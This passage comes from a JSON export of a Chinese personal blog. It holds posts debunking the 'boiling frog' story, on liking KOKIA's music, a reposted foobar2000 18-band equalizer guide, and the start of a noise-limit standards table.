间会奋力一跃，跳出锅外。但是现实情况却恰好相反，青蛙被我扔进锅中，说时快，那时迟，青蛙被开水以迅雷不及掩耳之势烫死，整个过程只有四秒左右。\n后来，本人又再次反复重新进行试验，结果大同小异。\n由此我可以判断，那个作者在没有亲自试验的情况下，完全凭借自己丰富的想象力来写作。看似完美无缺的故事，却隐藏着惊天大骗局。虽然作者没有恶意，无非是想借这个故事来讲道理，但是却违背了故事的真实性。\n至此，\u0026ldquo;温水煮青蛙\u0026rdquo;的故事是一场骗局无疑。最后希望这个故事不要再流传下去，因为它是虚构的，不真实的。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 有时，我们没有必要为了说明一个道理，刻意编一个毫无根据故事来愚弄大众！\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 希望口口影院的朋友们能从此做一个清醒的人！\n","permalink":"https://hessian.cn/p/608.html","summary":"今天脑子抽经突然想起温水煮青蛙的故事，于是就搜了下看有没有人跟我一样无聊去做这种实验（我只是有想法。。哈哈。。1），结果还真让我给找到了，下面是原文。\n","title":"惊！温水煮青蛙的故事是一场骗局！"},{"content":"最近又喜欢上了kokia的曲子，她的声音很美啊\n以前很喜欢rurutia，听人提起kokia总是不屑一顾的。。。\n偏偏最近却老在听kokia的曲子了，找了她好多flac的专辑听，很对我胃口啊。\n到是rurutia的曲子最近越听越腻了，并不是听腻了，其实以前听rurutia的曲子也就那么几首，最近下了好多专辑也没听出什么感觉了。曾经喜欢的《月光石》、《朱雀の空》听起来也没多少味道了。\nkokia的几张专辑却是百听不厌啊。。。。\n还是口味问题。。。\n嗯。。。\n可惜kokia的产量貌似没rurutia的高啊，就在电驴上找到了几张flac的专辑。。。。\n","permalink":"https://hessian.cn/p/361.html","summary":"最近又喜欢上了kokia的曲子，她的声音很美啊\n以前很喜欢rurutia，听人提起kokia总是不屑一顾的。。。\n偏偏最近却老在听kokia的曲子了，找了她好多flac的专辑听，很对我胃口啊。\n","title":"无"},{"content":"src:http://www.foobar2000.com.cn/ 关于foobar2000中的18段均衡器设置 说明：转自哪里我已经忘了，已经在我的计算机里存了不少日子，于是转上来吧\n均 衡器还可以用来根据用家听音口味做适当优化，比如：适当提升7khz和10khz可以突出细节并且让人声变甜。而对14khz和20khz的提升则可能造 成声音变得具有华丽感和金属味，但也容易变噪变得数码味较浓，建议20khz的滑块不要给增益，而14khz的滑块可以轻微增益。5khz的适当增益能提 升人声清晰度。将1.8khz和2.5khz适当压低能起到一定柔化和净化的作用，适当提升则能起到锐化的作用，但是这两个滑块不要大起大落，2个dB 的幅度已经算是很大胆了。220hz和311hz这两个滑块轻微提升能显得较为温暖。具体的调节，需要用家自己根据实际环境和器材情况进行调节，这同样是 很有意义的。\n乐器的调节范围：\n●弦乐器：明亮度调节6KHz和12KHz，丰满度170Hz和310Hz，拨弦声1KHz和1KHz\n●钢琴：低音60Hz和170Hz，临场感3K和6K，衰减12KHz 14KHz 16KHz声音单薄反之实在。\n●低音鼓：敲击声3K，低音60Hz。\n●小鼓/高音鼓/手鼓：饱满度170Hz和310Hz清脆度/临场感6K\n●钹：尖锐感6K和12K。\n●手风琴/风琴：饱满度310Hz、临场感6K\n●BASS：拨弦声1K ，低音效果60Hz，拨弦噪声(擦弦声)3K\n●电吉它：丰满度170Hz和310Hz，明亮度3K\n●木吉它：琴身声310Hz，清晰度/宏亮度3K和6K，衰减12KHz 14KHz 16KHz声音单薄反之实在。\n●小号：丰满度170Hz和310Hz，清脆感6K\n一些音乐的调节方法：\n1、在放管弦乐或交响乐时，可把60Hz、170Hz提升一半，310Hz、600Hz提升四分之一1K可不提升或少许衰减 ，3K和6K适当提升，12K、14K、16K可把16K提升到最大，它们三个可成一个30来度的坡。\n2、在放独唱或合唱时可把170Hz和1KHz稍提升，3K和6K稍衰减。\n频率 说明\n\u0026lt;80Hz 80Hz以下主要是重放音乐中以低频为主的打击乐器，例如大鼓、定音鼓，还有钢琴、大提琴、大号等少数存在极低频率的乐器，这一部分如果有则好，没有对音 乐欣赏的影响也不是很大。这一部分要重放好是不容易的，对器材的要求也较高。许多高级的器材，为了表现好80（或80左右）Hz以上的频段的音乐，宁愿将 80（或80左右）Hz以下的频率干脆切除掉，以免重放不好，反而影响主要频段的效果。极低频20Hz为人耳听觉下限，可测试您的器材低频重放下限，低频 中的25Hz、31.5Hz、Hz、40Hz、50Hz和63Hz是许多音箱的重放下限，如果您的音箱在这些频率中某处声音急剧下降，则表明这个频率就是 您的音箱低频重放下限。\n80－160Hz 在80－160Hz频段的声音主要表现音乐的厚实感，音响在这部分重放效果好的话，会感到音乐厚实、有底气。这部分表现得好的话，在80Hz以下缺乏时， 甚至不会感到缺乏低音。如果表现不好，音乐会有沉闷感，甚至是有气无力。是许多低音炮音箱的重放上限，具此可判断您的低音炮音箱频率上限。\n300－500Hz 在300－500Hz频段的声音主要是表现人声的（唱歌、朗诵），这个频段上可以表现人声的厚度和力度，好则人声明亮、清晰，否则单薄、混浊。\n800Hz 800Hz这段一般设备都容易播好，但是要注意不要过多。这段要是过多的话会感到音响的频响变窄，高音缺乏层次，低频丰满度不够。\n1000Hz 1 kHz是音响器材测试的标准参考频率，通常在音响器材中给出的参数是在1 kHz下测试。\n1200Hz 1.2kHz可以适当多一点，但是不宜超过3dB，可以提高声音的明亮度，但是，过多会是声音发硬。\n2000-4000Hz 2～4kHz对声音的亮度影响很大，这段声音一般不宜衰减。这段对音乐的层次影响较大，有适当的提升可以提高声音的明亮度和清晰度，但是在4kHz时不能有过多的突出，否则女声的齿音会过重。\n8000-12000Hz 8～12kHz是音乐的高音区，对音响的高频表现感觉最为敏感。适当突出（5dB以下）对音响的的层次和色彩有较大帮助，也会让人感到高音丰富。但是，太 多的话会增加背景噪声，例如：系统（声卡、音源）的噪声会被明显地表现出来，同时也会让人感到声音发尖、发毛。如果这段缺乏的话，声音将缺乏感染力和活 力。\n14000Hz 14kHz以上为音乐的泛音区，如果缺乏，声音将缺乏感染力和高贵感，例如小提琴将没有\u0026ldquo;松香味\u0026rdquo;。这一部分也不宜过多，基本平直或稍有衰减（不超过－3dB）即可。\n20000Hz 20 kHz 为人耳听觉上限，可测试您的器材高频重放上限。16 kHz－20 kHz可能在一些器材中消失，此时有可能是您的器材无法重放此段频率，如果您是年纪较大者，也有可能是您的听觉衰减所至。\n正弦波扫频信号 20Hz－20kHz正弦波扫频信号是从20Hz到20kHz频率自动平滑改变播放，通过播放此段测试信息可快速判断何处频率存在问题\n均衡器的调节可分为以下主要几段进行：\n20Hz\u0026#8211;60Hz部分\n这段低频往往给人很响的感觉，如雷声，是音乐中强劲有力的感觉。 如果提升过高，则又会混浊不清，造成清晰度不佳。\n60Hz\u0026#8211;250Hz部分\n这段频率包括基音、节奏音的主音，它和高中音的比例构成了音色结构的平衡特性； 强之则音色丰满，弱之则音色单薄，过强则产生隆隆声。\n250Hz\u0026#8211;2KHz部分\n它包括大多数乐器的低频泛音和低次谐波。\n2KHz\u0026#8211;4kHz部分\n这段频率属中频，如果提升得过高会掩盖说话的识别音，尤其是3kHz提升过高，会引起听觉疲劳。\n4kHz\u0026#8211;5KHz部分\n这是具有临场感的频段，它影响语言和乐器等声音的清晰度。提升这一频段，使人感觉声源与听者的距离显得稍近了一些；衰减5kHz，就会使声音的距离感变远；如果在5kHz左右提出升6dB，则会使整个混合声音的声功率提升3dB。\n6kHz\u0026#8211;16kHz部分\n这一频段控制着音色的明亮度，宏亮度和清晰度。\n－－－－－－－－－－－－－－－－－－－－－－－－－－－\n各个频段的音色与音感\n音色，是一种描述乐器发音品质的术语，由于每种乐器都有自己的频谱分布特征，因而同一种乐器的发音在不同的音区内，起音感虽然不一定一致，但其音色大体一致。\n表述音色特征的术语一般都与乐器的关系密切。音色术语一般要比音感丰富一些，其间的关联有以下几种情形：\n沉闷：闷这种音感是同20赫兹左右的频率赋予的，而高于80赫兹时，音感就会偏厚，因此具有沉闷感的音响一般基频很低，而且很少有丰富的泛音成分，具有此音感特征的乐器音源一般都是低音乐器的低音区。\n沉重：单纯从音感方面来看，沉重感是80赫兹频点处所特有的音感效果，而从音型特征上来看，短促的低音打击音型乐器具有更强烈的重感效果。\n低沉：低沉常用于形容比沉闷稍丰厚的音响，他的基频可能与沉闷的音响一样，但其高次谐波大多都比沉闷的音响丰富一些。\n深沉：这是一种带有感情味的形容词，常用于表述具有色彩性的\u0026ldquo;松荡\u0026rdquo;的低频响应，其基频比低沉的音响稍高一些。一般具有深沉感的乐器，最典型的就是大提琴和箫的低音区。\n浑厚：这种音感是频谱较宽的音源所具有的特征，所以浑厚的音感一般都是形容基频较低，频谱较宽的音源。\n淳厚：淳厚是指具有较高融合性的低频音响，具有淳厚感的典型音源，是钢片琴的低音区。\n丰满：这是频率在100~250赫兹之间的音源所具有的音感特征，一般发音在此频段内的音源，都必然会有丰富的音感效果。\n宽厚：丰满的音源如果频谱更宽一些，就会产生宽厚的音感效果。\n饱满：这是一种叫强劲度的低频音响，，一般加置有\u0026ldquo;涡轮失真\u0026rdquo;效果的电贝司，此音感特征非常明显。\n明亮：一般当乐音的基频高于500赫兹以上时，就会变的明快起来，甚至高到7500赫兹处时，我们也不能说它不明亮，所以音源的明亮感是一种比较通泛的形容词。明亮感在2800赫兹频点处最为明显。\n响亮：常用于形容带颈度的高明度音响，并且当频谱高出4000赫兹以上时，音源就不具有此音感特征了。\n宏亮：直待有一定融合性的高明亮音响。\n圆润：指比较柔和的高明亮度音响。\n柔和：与圆润相比，柔和感更偏于暗闷，是一种相对低明亮度的音响。\n清脆：频谱集中在4000~8000赫兹之间的音响一般都具有一定的清脆感效果。\n高亢：指高穿透力的清脆音响，有此音感特征的典型乐器就是唢呐。\n尖锐：频谱集中在6800赫兹左右的音响一般都尖锐刺耳的。\n尖厉：尖锐的音响如果还带有类似失真的嘈杂感，即可产生尖厉的音感效果。\n纤细：频谱在8000赫兹以上的音乐，一般都具有纤细的音感效果。\n融合：一般不易突出的柔和音响，都具有一定的融合感。当然，所有的音源都可以用融合或或不融合的程度衡量。在乐器中，一般认为中提琴、大提琴的融合感最好。\n干涩：这是融合感的反义词，一般和谐泛音缺乏、不和谐泛音突出的高频段音响，都具有某种程度的干涩，在乐器\n当中，他主要是由于极高音区缺乏共鸣所造成的。\n坚实：600赫兹左右的窄频带音响，以及发音短促的音型，都具有某种检视的音感效果。\n空洞：指带有\u0026ldquo;染色\u0026rdquo;效果的暗闷音响，此音感特征常常常常被人们用于形容大木鱼的音色。\n温暖：这是一种形容乐音色彩性的词，他一般与音响的\u0026ldquo;染色度\u0026rdquo;成正比，如：排钟，就具有次种音感。\n粗犷：低频音响如果带有类似过载失真的效果，即可形成粗犷的音感。\n粗糙：粗糙感是一种略带沙音的粗犷音响，一般小号、圆号在吹奏低音区时，都有此音感特征。\n沙哑：特制带有明显\u0026ldquo;气流沙音\u0026rdquo;的虚浮声响效果。\n苍劲：这是一种带有感情味的形容词，一般是指较低频段内的沙哑音响，如大管的低音区等。\n紧张：这是乐音内含有某些特别的不和谐泛音成分的结果。\n力度感：力度感在低频段特指200~500盒子频段内的音响，如：大鼓、大胡的低音区，力度感就较好。在中、高频段，力度感是指高穿透力、高突出性的不柔和音响，一般高音铜管乐器的中、高音区，都具有良好的力度感效果。\n穿透力：指高突出性、高明亮度的音响，穿透力在4500赫兹附近较为明显。\n光彩性：指有一定突出感的高圆润度音响。\n悲凉：悲凉与温暖互为反义，它也是一种带感情味的次。具有此音感特征的典型乐器音源，就是中音双簧管的中音区。\n阴森：高紧张度的低频段音响，即可形成阴森的音感效果。\n发扁：这是2500赫兹处所特有的音响效果。在此频点附近的音乐，一般都明显有\u0026ldquo;发扁\u0026rdquo;的感觉。如：板胡、二胡等，次种音感特征十分明显。\n发暗：如果乐音中缺乏6000赫兹以上的频谱成分，一般都可以使起发音变\u0026ldquo;暗\u0026rdquo;。\n发虚：这是乐器在发较高音阶时，杂音增多所引起的，这种杂音通常类似于气流沙声。\n极高频：\n16K-20K 色彩 提升有神秘感；\n12K-16K 高频泛音，光彩；\n10K-12K 高频泛音，光泽；\n高频和高频低段：\n8K-10K S音；\n6K-8K 明亮度、透明度， 提升齿音重、降落 声音黯淡；\n5K-6K 语言的清晰度，提升声音锋利、易疲劳；\n中频上段：\n4K-5K 乐器表面响度，提升乐器距离近、降落乐器距离远；\n4K 穿透力，提升 咳音；\n2K-3K 对明亮度最敏感，提升声音硬，不自然\n中频：\n1K-2K 通透感、顺畅感，提升有跳跃感、降落 松散；\n800 力度，提升喉音重；\n500-1K 人声基音、声音轮廓，提升语音前凸、降落语音收缩感；\n300-500 语音主要音区，提升语音单调、降落语音空洞；\n中频低段：\n150-300 声音力度、男声力度，提升声音硬、无特色，降落：软、飘；\n低频：\n100-150 丰满度，提升浑浊、降落单薄；\n60-100 浑厚感，提升轰鸣(轰)、降落无力；\n20-60 空间感，提升低频共振(嗡)、降落空虚；\n低频上段80-160；中低频40-80；低频下段20-40；超低频32-~。\n－－－－－－－－－－－－－－－－－－－－\n各频段声音的作用\n人耳对声音频率的感觉是从最低的20Hz到最高的20KHz，而人的语音频率范围则集中在80Hz~12kHz之间，不同频段的声音对人的感受是不同的。\n1. 20Hz\u0026#8211;60Hz部分。这一段提升能给音乐强有力的感觉，给人很响的感觉，如雷声。如果提升过高，则又会混浊不清，造成清晰度不佳，特别是低频响应差和低频过重的音响设备。\n2. 60Hz\u0026#8211;250Hz部分。这段是音乐的低频结构，它们包含了节奏部分的基础音，包括基音、节奏音的主音。它和高中音的比例构成了音色结构的平衡特性。提升这一段可使声音丰满，过度提升会发出隆隆声，衰减此频段和高中音段会使声音单薄。\n3. 250Hz\u0026#8211;4KHz部分。这段包含了大多数乐器的低频谐波，同时影响人声和乐器等声音的清晰度，调整时要配合前面低音的设置，否则音质会变的很沉闷。 如果提升过多会使声音像电话里的声音；如把600Hz和1kHz过度提升会使声音像喇叭的声音；如把3KHz提升过多会掩蔽说话的识别音，即口齿不清，并 使唇音\u0026ldquo;m、b、v\u0026rdquo;难以分辨；如把1kHz和3kHz过分提升会使声音具有金属感。由于人耳对这一频段比较敏感，通常不调节这一段，过分提升这一段会使 听觉疲劳。\n4. 4kHz\u0026#8211;5KHz部分。这是影响临场感（距离感）的频段。提升这一频段，使人感觉声源与听 者的距离显得稍近了一些；衰减则就会使声音的距离感变远；如果在5KHz左右提升6dB，则会使整个混合声音的声功率提升3dB。\n5. 6kHz\u0026#8211;16kHz部分。这一频段控制着音色的明亮度，宏亮度和清晰度。一般来说提升这部分使声音宏亮，但不清晰，还可能会引起齿音过重；衰减这部分使声音变得清晰，可音质又略显单薄。该频段适合还原人声。\n下边列出几种常见EQ组合的特点。\n●POP：流行乐，它要求兼顾人声和器乐，组合比较平均，所以EQ曲线的波动不是很大。\n●ROCK：摇滚乐，它的高低两端提升很大，低音让音乐强劲有力，节奏感很强，高音部分清晰甚至刺耳。\n●JAZZ：爵士乐，和POP相比，它提升了3-5KHz部分，增强临场感。\n●Classical：古典乐，它提升的也是高低两部分，主要突出乐器的表现。\n●Vocal：人声，人的嗓子发出的声音的频率范围比较窄，主要集中在中频部分。\n此外需要说明的是：每个人对不同频率的声音感觉是不一样的，音响回放设备的频率响应也不同，人的听门曲线也只是根据统计数据画出，所以别人听起来很自然的声音自己可能会觉得不舒服，均衡器的调节需要根据自己的听感特点和所使用的播放设备进行个性化的调整。\n","permalink":"https://hessian.cn/p/356.html","summary":"src:http://www.foobar2000.com.cn/ 关于foobar2000中的18段均衡器设置 说明：转自哪里我已经忘了，已经在我的计算机里存了不少日子，于是转上来吧\n均 衡器还可以用来根据用家听音口味做适当优化，比如：适当提升7khz和10khz可以突出细节并且让人声变甜。而对14khz和20khz的提升则可能造 成声音变得具有华丽感和金属味，但也容易变噪变得数码味较浓，建议20khz的滑块不要给增益，而14khz的滑块可以轻微增益。5khz的适当增益能提 升人声清晰度。将1.8khz和2.5khz适当压低能起到一定柔化和净化的作用，适当提升则能起到锐化的作用，但是这两个滑块不要大起大落，2个dB 的幅度已经算是很大胆了。220hz和311hz这两个滑块轻微提升能显得较为温暖。具体的调节，需要用家自己根据实际环境和器材情况进行调节，这同样是 很有意义的。\n乐器的调节范围：\n●弦乐器：明亮度调节6KHz和12KHz，丰满度170Hz和310Hz，拨弦声1KHz和1KHz\n●钢琴：低音60Hz和170Hz，临场感3K和6K，衰减12KHz 14KHz 16KHz声音单薄反之实在。\n●低音鼓：敲击声3K，低音60Hz。\n●小鼓/高音鼓/手鼓：饱满度170Hz和310Hz清脆度/临场感6K\n●钹：尖锐感6K和12K。\n●手风琴/风琴：饱满度310Hz、临场感6K\n●BASS：拨弦声1K ，低音效果60Hz，拨弦噪声(擦弦声)3K\n●电吉它：丰满度170Hz和310Hz，明亮度3K\n●木吉它：琴身声310Hz，清晰度/宏亮度3K和6K，衰减12KHz 14KHz 16KHz声音单薄反之实在。\n●小号：丰满度170Hz和310Hz，清脆感6K\n一些音乐的调节方法：\n1、在放管弦乐或交响乐时，可把60Hz、170Hz提升一半，310Hz、600Hz提升四分之一1K可不提升或少许衰减 ，3K和6K适当提升，12K、14K、16K可把16K提升到最大，它们三个可成一个30来度的坡。\n2、在放独唱或合唱时可把170Hz和1KHz稍提升，3K和6K稍衰减。\n频率 说明\n\u0026lt;80Hz 80Hz以下主要是重放音乐中以低频为主的打击乐器，例如大鼓、定音鼓，还有钢琴、大提琴、大号等少数存在极低频率的乐器，这一部分如果有则好，没有对音 乐欣赏的影响也不是很大。这一部分要重放好是不容易的，对器材的要求也较高。许多高级的器材，为了表现好80（或80左右）Hz以上的频段的音乐，宁愿将 80（或80左右）Hz以下的频率干脆切除掉，以免重放不好，反而影响主要频段的效果。极低频20Hz为人耳听觉下限，可测试您的器材低频重放下限，低频 中的25Hz、31.5Hz、Hz、40Hz、50Hz和63Hz是许多音箱的重放下限，如果您的音箱在这些频率中某处声音急剧下降，则表明这个频率就是 您的音箱低频重放下限。\n80－160Hz 在80－160Hz频段的声音主要表现音乐的厚实感，音响在这部分重放效果好的话，会感到音乐厚实、有底气。这部分表现得好的话，在80Hz以下缺乏时， 甚至不会感到缺乏低音。如果表现不好，音乐会有沉闷感，甚至是有气无力。是许多低音炮音箱的重放上限，具此可判断您的低音炮音箱频率上限。\n300－500Hz 在300－500Hz频段的声音主要是表现人声的（唱歌、朗诵），这个频段上可以表现人声的厚度和力度，好则人声明亮、清晰，否则单薄、混浊。\n800Hz 800Hz这段一般设备都容易播好，但是要注意不要过多。这段要是过多的话会感到音响的频响变窄，高音缺乏层次，低频丰满度不够。\n1000Hz 1 kHz是音响器材测试的标准参考频率，通常在音响器材中给出的参数是在1 kHz下测试。\n1200Hz 1.2kHz可以适当多一点，但是不宜超过3dB，可以提高声音的明亮度，但是，过多会是声音发硬。\n2000-4000Hz 2～4kHz对声音的亮度影响很大，这段声音一般不宜衰减。这段对音乐的层次影响较大，有适当的提升可以提高声音的明亮度和清晰度，但是在4kHz时不能有过多的突出，否则女声的齿音会过重。\n8000-12000Hz 8～12kHz是音乐的高音区，对音响的高频表现感觉最为敏感。适当突出（5dB以下）对音响的的层次和色彩有较大帮助，也会让人感到高音丰富。但是，太 多的话会增加背景噪声，例如：系统（声卡、音源）的噪声会被明显地表现出来，同时也会让人感到声音发尖、发毛。如果这段缺乏的话，声音将缺乏感染力和活 力。\n14000Hz 14kHz以上为音乐的泛音区，如果缺乏，声音将缺乏感染力和高贵感，例如小提琴将没有\u0026ldquo;松香味\u0026rdquo;。这一部分也不宜过多，基本平直或稍有衰减（不超过－3dB）即可。\n20000Hz 20 kHz 为人耳听觉上限，可测试您的器材高频重放上限。16 kHz－20 kHz可能在一些器材中消失，此时有可能是您的器材无法重放此段频率，如果您是年纪较大者，也有可能是您的听觉衰减所至。\n正弦波扫频信号 20Hz－20kHz正弦波扫频信号是从20Hz到20kHz频率自动平滑改变播放，通过播放此段测试信息可快速判断何处频率存在问题\n均衡器的调节可分为以下主要几段进行：\n20Hz\u0026#8211;60Hz部分\n这段低频往往给人很响的感觉，如雷声，是音乐中强劲有力的感觉。 如果提升过高，则又会混浊不清，造成清晰度不佳。\n60Hz\u0026#8211;250Hz部分\n这段频率包括基音、节奏音的主音，它和高中音的比例构成了音色结构的平衡特性； 强之则音色丰满，弱之则音色单薄，过强则产生隆隆声。\n250Hz\u0026#8211;2KHz部分\n它包括大多数乐器的低频泛音和低次谐波。\n2KHz\u0026#8211;4kHz部分\n这段频率属中频，如果提升得过高会掩盖说话的识别音，尤其是3kHz提升过高，会引起听觉疲劳。\n4kHz\u0026#8211;5KHz部分\n这是具有临场感的频段，它影响语言和乐器等声音的清晰度。提升这一频段，使人感觉声源与听者的距离显得稍近了一些；衰减5kHz，就会使声音的距离感变远；如果在5kHz左右提出升6dB，则会使整个混合声音的声功率提升3dB。\n6kHz\u0026#8211;16kHz部分\n这一频段控制着音色的明亮度，宏亮度和清晰度。\n－－－－－－－－－－－－－－－－－－－－－－－－－－－\n各个频段的音色与音感\n音色，是一种描述乐器发音品质的术语，由于每种乐器都有自己的频谱分布特征，因而同一种乐器的发音在不同的音区内，起音感虽然不一定一致，但其音色大体一致。\n表述音色特征的术语一般都与乐器的关系密切。音色术语一般要比音感丰富一些，其间的关联有以下几种情形：\n沉闷：闷这种音感是同20赫兹左右的频率赋予的，而高于80赫兹时，音感就会偏厚，因此具有沉闷感的音响一般基频很低，而且很少有丰富的泛音成分，具有此音感特征的乐器音源一般都是低音乐器的低音区。\n沉重：单纯从音感方面来看，沉重感是80赫兹频点处所特有的音感效果，而从音型特征上来看，短促的低音打击音型乐器具有更强烈的重感效果。\n低沉：低沉常用于形容比沉闷稍丰厚的音响，他的基频可能与沉闷的音响一样，但其高次谐波大多都比沉闷的音响丰富一些。\n深沉：这是一种带有感情味的形容词，常用于表述具有色彩性的\u0026ldquo;松荡\u0026rdquo;的低频响应，其基频比低沉的音响稍高一些。一般具有深沉感的乐器，最典型的就是大提琴和箫的低音区。\n浑厚：这种音感是频谱较宽的音源所具有的特征，所以浑厚的音感一般都是形容基频较低，频谱较宽的音源。\n淳厚：淳厚是指具有较高融合性的低频音响，具有淳厚感的典型音源，是钢片琴的低音区。\n丰满：这是频率在100~250赫兹之间的音源所具有的音感特征，一般发音在此频段内的音源，都必然会有丰富的音感效果。\n宽厚：丰满的音源如果频谱更宽一些，就会产生宽厚的音感效果。\n饱满：这是一种叫强劲度的低频音响，，一般加置有\u0026ldquo;涡轮失真\u0026rdquo;效果的电贝司，此音感特征非常明显。\n明亮：一般当乐音的基频高于500赫兹以上时，就会变的明快起来，甚至高到7500赫兹处时，我们也不能说它不明亮，所以音源的明亮感是一种比较通泛的形容词。明亮感在2800赫兹频点处最为明显。\n响亮：常用于形容带颈度的高明度音响，并且当频谱高出4000赫兹以上时，音源就不具有此音感特征了。\n宏亮：直待有一定融合性的高明亮音响。\n圆润：指比较柔和的高明亮度音响。\n柔和：与圆润相比，柔和感更偏于暗闷，是一种相对低明亮度的音响。\n清脆：频谱集中在4000~8000赫兹之间的音响一般都具有一定的清脆感效果。\n高亢：指高穿透力的清脆音响，有此音感特征的典型乐器就是唢呐。\n尖锐：频谱集中在6800赫兹左右的音响一般都尖锐刺耳的。\n尖厉：尖锐的音响如果还带有类似失真的嘈杂感，即可产生尖厉的音感效果。\n纤细：频谱在8000赫兹以上的音乐，一般都具有纤细的音感效果。\n融合：一般不易突出的柔和音响，都具有一定的融合感。当然，所有的音源都可以用融合或或不融合的程度衡量。在乐器中，一般认为中提琴、大提琴的融合感最好。\n干涩：这是融合感的反义词，一般和谐泛音缺乏、不和谐泛音突出的高频段音响，都具有某种程度的干涩，在乐器\n当中，他主要是由于极高音区缺乏共鸣所造成的。\n坚实：600赫兹左右的窄频带音响，以及发音短促的音型，都具有某种检视的音感效果。\n空洞：指带有\u0026ldquo;染色\u0026rdquo;效果的暗闷音响，此音感特征常常常常被人们用于形容大木鱼的音色。\n温暖：这是一种形容乐音色彩性的词，他一般与音响的\u0026ldquo;染色度\u0026rdquo;成正比，如：排钟，就具有次种音感。\n粗犷：低频音响如果带有类似过载失真的效果，即可形成粗犷的音感。\n粗糙：粗糙感是一种略带沙音的粗犷音响，一般小号、圆号在吹奏低音区时，都有此音感特征。\n沙哑：特制带有明显\u0026ldquo;气流沙音\u0026rdquo;的虚浮声响效果。\n苍劲：这是一种带有感情味的形容词，一般是指较低频段内的沙哑音响，如大管的低音区等。\n紧张：这是乐音内含有某些特别的不和谐泛音成分的结果。\n力度感：力度感在低频段特指200~500盒子频段内的音响，如：大鼓、大胡的低音区，力度感就较好。在中、高频段，力度感是指高穿透力、高突出性的不柔和音响，一般高音铜管乐器的中、高音区，都具有良好的力度感效果。\n穿透力：指高突出性、高明亮度的音响，穿透力在4500赫兹附近较为明显。\n光彩性：指有一定突出感的高圆润度音响。\n悲凉：悲凉与温暖互为反义，它也是一种带感情味的次。具有此音感特征的典型乐器音源，就是中音双簧管的中音区。\n阴森：高紧张度的低频段音响，即可形成阴森的音感效果。\n发扁：这是2500赫兹处所特有的音响效果。在此频点附近的音乐，一般都明显有\u0026ldquo;发扁\u0026rdquo;的感觉。如：板胡、二胡等，次种音感特征十分明显。\n发暗：如果乐音中缺乏6000赫兹以上的频谱成分，一般都可以使起发音变\u0026ldquo;暗\u0026rdquo;。\n发虚：这是乐器在发较高音阶时，杂音增多所引起的，这种杂音通常类似于气流沙声。\n极高频：\n16K-20K 色彩 提升有神秘感；\n12K-16K 高频泛音，光彩；\n10K-12K 高频泛音，光泽；\n高频和高频低段：\n8K-10K S音；\n6K-8K 明亮度、透明度， 提升齿音重、降落 声音黯淡；\n5K-6K 语言的清晰度，提升声音锋利、易疲劳；\n中频上段：\n4K-5K 乐器表面响度，提升乐器距离近、降落乐器距离远；\n4K 穿透力，提升 咳音；\n2K-3K 对明亮度最敏感，提升声音硬，不自然\n中频：\n1K-2K 通透感、顺畅感，提升有跳跃感、降落 松散；\n800 力度，提升喉音重；\n500-1K 人声基音、声音轮廓，提升语音前凸、降落语音收缩感；\n300-500 语音主要音区，提升语音单调、降落语音空洞；\n中频低段：\n150-300 声音力度、男声力度，提升声音硬、无特色，降落：软、飘；\n低频：\n100-150 丰满度，提升浑浊、降落单薄；\n60-100 浑厚感，提升轰鸣(轰)、降落无力；\n20-60 空间感，提升低频共振(嗡)、降落空虚；\n低频上段80-160；中低频40-80；低频下段20-40；超低频32-~。\n－－－－－－－－－－－－－－－－－－－－\n各频段声音的作用\n人耳对声音频率的感觉是从最低的20Hz到最高的20KHz，而人的语音频率范围则集中在80Hz~12kHz之间，不同频段的声音对人的感受是不同的。\n1. 20Hz\u0026#8211;60Hz部分。这一段提升能给音乐强有力的感觉，给人很响的感觉，如雷声。如果提升过高，则又会混浊不清，造成清晰度不佳，特别是低频响应差和低频过重的音响设备。\n2. 60Hz\u0026#8211;250Hz部分。这段是音乐的低频结构，它们包含了节奏部分的基础音，包括基音、节奏音的主音。它和高中音的比例构成了音色结构的平衡特性。提升这一段可使声音丰满，过度提升会发出隆隆声，衰减此频段和高中音段会使声音单薄。\n3. 250Hz\u0026#8211;4KHz部分。这段包含了大多数乐器的低频谐波，同时影响人声和乐器等声音的清晰度，调整时要配合前面低音的设置，否则音质会变的很沉闷。 如果提升过多会使声音像电话里的声音；如把600Hz和1kHz过度提升会使声音像喇叭的声音；如把3KHz提升过多会掩蔽说话的识别音，即口齿不清，并 使唇音\u0026ldquo;m、b、v\u0026rdquo;难以分辨；如把1kHz和3kHz过分提升会使声音具有金属感。由于人耳对这一频段比较敏感，通常不调节这一段，过分提升这一段会使 听觉疲劳。\n4. 4kHz\u0026#8211;5KHz部分。这是影响临场感（距离感）的频段。提升这一频段，使人感觉声源与听 者的距离显得稍近了一些；衰减则就会使声音的距离感变远；如果在5KHz左右提升6dB，则会使整个混合声音的声功率提升3dB。\n5. 6kHz\u0026#8211;16kHz部分。这一频段控制着音色的明亮度，宏亮度和清晰度。一般来说提升这部分使声音宏亮，但不清晰，还可能会引起齿音过重；衰减这部分使声音变得清晰，可音质又略显单薄。该频段适合还原人声。\n下边列出几种常见EQ组合的特点。\n●POP：流行乐，它要求兼顾人声和器乐，组合比较平均，所以EQ曲线的波动不是很大。\n●ROCK：摇滚乐，它的高低两端提升很大，低音让音乐强劲有力，节奏感很强，高音部分清晰甚至刺耳。\n●JAZZ：爵士乐，和POP相比，它提升了3-5KHz部分，增强临场感。\n●Classical：古典乐，它提升的也是高低两部分，主要突出乐器的表现。\n●Vocal：人声，人的嗓子发出的声音的频率范围比较窄，主要集中在中频部分。\n此外需要说明的是：每个人对不同频率的声音感觉是不一样的，音响回放设备的频率响应也不同，人的听门曲线也只是根据统计数据画出，所以别人听起来很自然的声音自己可能会觉得不舒服，均衡器的调节需要根据自己的听感特点和所使用的播放设备进行个性化的调整。\n","title":"[转]关于foobar2000中的18段均衡器设置"},{"content":"噪音的标准值 1.1　标准值\n类　别 昼　间 夜　间 Ⅰ 55 45 Ⅱ 60 50 Ⅲ 65 55 Ⅳ 70 55 1.2　各类标准适用范围的划定\n1.2.1　Ⅰ类标准适用于以居住、文教机关为主的区域。\n1.2.2　Ⅱ类标准适用于居住、商业、工业混杂区及商业中心区\n1.2.3　Ⅲ类标准适用于工业区。\n1.2.4　Ⅳ类标准适用于交通干线道路两侧区域。\n1.2.5　各类标准适用范围由地方人民政府划定。\n1.3　夜间频繁突发的噪音(如排气噪声)。其峰值不准超过标准值10dB(A)，夜间偶然突发的噪音(如短促鸣笛声)，其峰值不准超过标准值15dB(A)。\n1.4　本标准昼间、夜间的时间由当地人民政府按当地习惯和季节变化划定。\n1.2　引用标准GB12349工业企业厂界噪音测量方法\n1.3　